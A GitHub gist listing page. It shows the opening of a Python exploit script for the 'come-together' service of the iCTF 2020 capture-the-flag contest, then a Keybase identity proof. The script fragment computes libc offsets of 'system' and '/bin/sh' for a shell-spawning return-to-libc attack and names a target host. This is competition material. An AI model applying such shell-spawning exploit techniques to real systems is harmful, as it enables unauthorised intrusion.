Skip to content

Instantly share code, notes, and snippets.

View conand's full-sized avatar

Andrea Continella conand

View GitHub Profile
@conand
conand / come-together-ictf-2020-exploit.py
Created March 7, 2020 03:06
Exploit for come-together (iCTF 2020)
#! /usr/bin/env python2
import sys
import json
import requests
import traceback
from subprocess import Popen, PIPE
from PIL import Image
import pytesseract
from pwn import *
LIBCPATH = './libc.so.6'
e = elf.ELF(LIBCPATH)
system_offset = e.symbols['system'] - e.symbols['puts']
binsh_offset = next(e.search("/bin/sh")) - e.symbols['puts']
host = '136.243.194.41'

Keybase proof

I hereby claim:

  • I am conand on github.
  • I am conand (https://keybase.io/conand) on keybase.
  • I have a public key whose fingerprint is 69EF 7A63 813C 0B25 FB0B D169 DF58 64D2 8B59 ABB1

To claim this, I am signing this object: